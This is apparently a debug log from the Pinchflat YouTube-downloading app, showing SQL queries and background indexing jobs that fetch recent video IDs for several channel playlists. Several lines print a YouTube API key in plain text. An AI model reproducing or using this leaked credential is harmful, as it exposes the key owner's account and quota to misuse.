s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [24] 16:25:03.954 [debug] QUERY OK source="settings" db=0.1ms idle=7.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:25:03.954 [debug] QUERY OK source="media_profiles" db=0.1ms idle=7.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:25:03.955 [debug] QUERY OK source="settings" db=0.0ms idle=7.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:25:03.955 [debug] Fetching recent media IDs from YouTube API for playlist: UUgzg_f5HC6EnY-9q5Px1Q-g 16:25:03.955 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:25:03.955 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:25:04.161 [debug] QUERY OK source="media_items" db=0.5ms idle=206.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [24, "P7p370YXuKc", "EqcdcLKC5bE", "XWN9YMVaTio", "0ff4TbRMPcE", "lr65O1qIhT4", "lQPuHoc-93U", "8jv8nOKR_Ck", "8lzNViKW9F8", "r2GTUZ2zQSE", "Ki7sgG5i5P0", "dI43FJGa52A", "Tb0Z5jKFrKA", "A1QzVQn8hH8", "lWvIsb06YYg", "rLmO075A07c", "uPvdvnz9rLc", "IBk-Nh0VRy0", "IclNtwcicpc", "emMmkd-o2-o", "o3CQZ4JmTU8", "p6Q9chqIwyg", "0voL1hfm3e4", "HCQGhsHO1nM", "6xs7fjbo2NM", "yCdY2eeT8fQ", "faSZB8yewoU", "otxMmPttGp4", "7pysYXsQ8Ps", "QJtdNwlYFDM", "iBclMIJgm7k", "UI4lFdFfOFI", "apGupfbctgs", "qhRfchtbX-0", "73Vhinj4iEI", "M6o0F4zC8Ps", "NrQ0BAnY8sk", "y7WdMKmMR5Y", "J0z4YoAcmKI", "6eSG5JLP0-g", "AvswAhGn_PU", "4FFIce1pjH0", "yOM58cUfPhs", "gTT34dgyJfA", "hZJe5fqUbQA", "RNGpdA2TR1M", "PmIe2ZOPcA0", "zImBY_tGMIU", "1VUhrRFTY_0", "QJDpwY5MGjs", ...] 16:25:04.162 [debug] QUERY OK source="media_items" db=0.2ms idle=207.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [24] 16:25:04.163 [debug] QUERY OK source="tasks" db=0.1ms idle=208.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268226, 24, ~U[2026-10-09 21:25:04Z], ~U[2026-10-09 21:25:04Z]] 16:25:04.163 [info] {"args":{"id":24},"id":5268187,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":209353,"event":"job:stop","queue_time":865812,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:25:04.170 [info] {"args":{"id":15},"id":5268188,"meta":{},"system_time":1791581104170344924,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:25:04.170 [debug] QUERY OK source="sources" db=0.1ms idle=7.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [15] 16:25:04.170 [debug] QUERY OK source="settings" db=0.1ms idle=7.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:25:04.171 [debug] QUERY OK source="media_profiles" db=0.1ms idle=7.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:25:04.171 [debug] QUERY OK source="settings" db=0.1ms idle=7.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:25:04.171 [debug] Fetching recent media IDs from YouTube API for playlist: UULFXk9J3O-hhOk0msOjKYdQ 16:25:04.171 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:25:04.171 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:25:04.321 [debug] QUERY OK source="media_items" db=0.5ms idle=150.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [15, "wLB-Q0iK340", "nY3KX4nYujU", "4K6KgNQkFlE", "WINGdoJP1k4", "qh3zsN1tWHc", "0WY7Y_Hierc", "A4ppPzrJeKg", "QyJRbfVpasM", "cEvbtJKkiKA", "oIpuh9B54_Y", "qBngEbWvnLU", "ybedvH-Z1a0", "gyapvbUPeGY", "43yyNypLixI", "5TNRLSuu7Ck", "ogTdveOYLQw", "Lsn68mBl8t8", "xyjk-UAYXUw", "sjU6mk8YUFw", "l5-eiLTPkfo", "RrCOMIgn7lg", "5YyOA4Fb7DQ", "P0yz6bFnRPU", "UPvzdNYpGkk", "pXdGk0dzIso", "xNjq6F8JjZ4", "Z-PAcG0uecs", "yg7Oxq0V0bw", "044H43vCM5U", "WK4B1vsFvlA", "XAhoRD94yo8", "Vq8XXz_66lQ", "-OUVRcJMcfQ", "SkK7ve8Isq8", "P9yK5E1iw4o", "NHwWYgRkMOM", "neUAF2AjYZc", "zsYvx6oBdkI", "_wxU3z9VxOY", "Rl-Okv32Cg0", "xezfkm4w5Oo", "4mmV3TpYCwc", "6UbSy5JRc10", "z5VzU53LQ3Y", "QtN38fxQUZI", "aOB2mSALBiA", "Jr7pjruyR9s", "SQ_BWki10Y8", "1cwS7nzthpw", ...] 16:25:04.322 [debug] QUERY OK source="media_items" db=0.4ms idle=151.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [15] 16:25:04.323 [debug] QUERY OK source="tasks" db=0.1ms idle=151.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268227, 15, ~U[2026-10-09 21:25:04Z], ~U[2026-10-09 21:25:04Z]] 16:25:04.323 [info] {"args":{"id":15},"id":5268188,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":153301,"event":"job:stop","queue_time":822996,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:25:04.467 [info] {"args":{"id":3},"id":5268189,"meta":{},"system_time":1791581104467177715,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:25:04.467 [debug] QUERY OK source="sources" db=0.1ms idle=143.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 16:25:04.467 [debug] QUERY OK source="settings" db=0.1ms idle=143.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:25:04.468 [debug] QUERY OK source="media_profiles" db=0.1ms idle=137.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:25:04.468 [debug] QUERY OK source="settings" db=0.1ms idle=6.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:25:04.468 [debug] Fetching recent media IDs from YouTube API for playlist: UUy0tKL1T7wFoYcxCe0xjN6Q 16:25:04.468 [debug] QUERY OK source="settings" db=0.0ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:25:04.468 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:25:04.594 [debug] QUERY OK source="media_items" db=0.6ms idle=126.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "0KoeY54M5VA", "F_7B2shTPPU", "_KWdCqpXB7A", "KnUFH5GX_fI", "nXdVG45wveo", "mmCfOazZCNQ", "KtQ9nt2ZeGM", "tCVsyY5TRQI", "oy7BrKNmZAQ", "INZybkX8tLI", "8I4Jc-WLsrs", "DAX2_mPr9W8", "ms8uu0zeU88", "Aytf6ARcs8s", "JzClLWL-Eys", "HFYWHeBhYbM", "SaKKzZRrPIg", "W96a8svXo14", "OSCOQ6vnLwU", "j_QfX0SYCE8", "OOK5xkFijPc", "QEJpZjg8GuA", "HnMuNCl7tZ8", "kTctVqjhDEw", "qSFNufruSKw", "6Ea6jf-9Czo", "dHskIsOYZ8s", "6h9JhW-m35o", "Namf-Ddo_Xo", "WkIR23emsWY", "zsA3X40nz9w", "CnMRePtHMZY", "CzJKxUCKOBg", "3-Q87w8uhwg", "XRCprhlz4D8", "uhbDfi7Ee7k", "YGT1EvmDJh4", "jHP942Livy0", "XeDCCNFAULk", "TLm7Q92xMjQ", "ff04ecF9Dfw", "ZcH0j7tOrDA", "DTsQjiPlksA", "AEm-2giH_zw", "E3p_Cv32tEo", "va1rzP2xIx4", "Limpr1L8Pss", "TBPVJtGBf8Y", "bis_4MT5SSo", ...] 16:25:04.596 [debug] QUERY OK source="media_items" db=0.5ms idle=127.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 16:25:04.596 [debug] QUERY OK source="tasks" db=0.1ms idle=128.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268228, 3, ~U[2026-10-09 21:25:04Z], ~U[2026-10-09 21:25:04Z]] 16:25:04.597 [info] {"args":{"id":3},"id":5268189,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":129751,"event":"job:stop","queue_time":461289,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:25:14.577 [info] {"source":"oban","duration":9988,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:25:39.502 [info] {"args":{"id":27},"id":5268190,"meta":{},"system_time":1791581139502297701,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:25:39.502 [debug] QUERY OK source="sources" db=0.1ms idle=1808.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [27] 16:25:39.502 [debug] QUERY OK source="settings" db=0.1ms idle=1808.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:25:39.503 [debug] QUERY OK source="media_profiles" db=0.6ms idle=1007.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:25:39.503 [debug] QUERY OK source="settings" db=0.1ms idle=7.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:25:39.503 [debug] Fetching recent media IDs from YouTube API for playlist: UUJ0-OtVpF0wOKEqT2Z1HEtA 16:25:39.503 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:25:39.503 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:25:39.728 [debug] QUERY OK source="media_items" db=0.7ms idle=224.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [27, "Tuxgh8SrzbQ", "DWAMwfM2DrM", "-TvOCDbhCWk", "WAeTROAfSTs", "nhbeaHuZMQ0", "Se1NPlfUCss", "kSPrY4NHqow", "dpNfJm2Ql90", "mIBhWgYWVPA", "P4351ixgP4M", "X2qcTrprMqE", "GEhwXAIjDls", "_5aHHg4A_vY", "xeRSef7jMYc", "nz6sgR01Tt8", "bmFRqSs1QAM", "EBgxa8OzjB8", "F-CFdCp0xaw", "lt07jcPvG2Y", "dy0WZVpyiTM", "vY0-eZ-GGEg", "sWGUo_iiaZE", "HhRgPVNQLww", "yxEh9tnRTbY", "MwTaGjsdxU4", "bdR4HyeABfA", "dJtzXpW15HI", "mqt_FdmDq4k", "DhvkZ8pmXlc", "m51SX5cz9ow", "AsJquvKz07E", "ZsdV3VEyQxY", "vlHmd2-PlfE", "fwLan9mLJLQ", "56Eq3EMYX68", "PB-4WqzXzoA", "lT1v5RdCl6s", "bIMQO0Q4iRc", "YcfKFfOQ9W8", "u8s9hpjN25Y", "rlyU9AMaq9g", "rg1xXCzLdQ0", "myh9AZRK6hI", "qRc9W2ss-GE", "uz6xrE8WZHc", "WnNVgRyWUi8", "ub-Qr2U4DzA", "OSCKBmkrH_g", "2Yjiwz5sxzE", ...] 16:25:39.729 [debug] QUERY OK source="media_items" db=0.8ms idle=226.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [27] 16:25:39.730 [debug] QUERY OK source="tasks" db=0.1ms idle=226.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268229, 27, ~U[2026-10-09 21:25:39Z], ~U[2026-10-09 21:25:39Z]] 16:25:39.731 [info] {"args":{"id":27},"id":5268190,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":228481,"event":"job:stop","queue_time":458755,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:25:40.504 [info] {"args":{"id":18},"id":5268191,"meta":{},"system_time":1791581140504295799,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 